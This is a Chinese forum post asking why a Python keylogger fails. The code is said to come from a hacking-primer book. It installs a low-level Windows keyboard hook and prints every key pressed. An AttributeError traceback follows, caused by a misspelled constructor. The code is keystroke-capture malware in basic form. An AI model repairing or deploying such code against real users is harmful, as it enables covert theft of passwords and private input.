求助圈内诸位大神! 为什么以下的代码报错?
程序想要实现的效果是抓取键盘的输入记录, 为什么最终报错? 代码来自中国工信出版集团《Python黑客攻防入门》
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
user32 = windll.user32
kernel32 = windll.kernel32
WH_KEYBOARD_LL=13
WM_KEYDOWN=0X0100
CTRL_CODE = 162
class keyLogger:
def _init_(self):
self.lUser32 = user32
self.hooked = None
def installHookProc(self, pointer):
self.hooked = self.lUser32.SetWindowsHookExA(
WH_KEYBOARD_LL,
pointer,
kernel32.GetModuleHandLeW(None),
0
)
if not self.hooked:
return False
return True
def uninstallHookProc(self):
if self.hooked is None:
return
self.lUser32.UnhookWindowsHookEx(self.hooked)
self.hooked = None
def getFPTR(fn):
CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
return CMPFUNC(fn)
def hookProc(nCode, wParam, lParam):
if wParam is not WM_KEYDOWN:
return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
hookedKey = chr(lParam[0])
print (hookedKey)
if(CTRL_CODE == int(lParam[0])):
print ("Ctrl pressed, call uninstallHook()")
keyLogger.uninstallHookProc()
sys.exit(-1)
return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
def startKeyLog():
msg = MSG()
user32.GetMessageA(byref(msg),0,0,0)
keyLogger = keyLogger()
pointer = getFPTR(hookProc)
if keyLogger.installHookProc(pointer):
print ("installed keyLogger")
startKeyLog()
报错的信息如下:
Traceback (most recent call last):
File “C:\Users\Lenovo\Desktop\KeyHacking.py”,line 58, in
if keyLogger.installHookProc(pointer):## 标题
File “C:\Users\Lenovo\Desktop\KeyHacking.py”, line 20, in installHookProc
self.hooked = self.lUser32.SetWindowsHookExA(
AttributeError: ‘keyLogger’ object has no attribute ‘lUser32’
编辑器是Python的IDLE 3.7 64位
求助大神们啦~~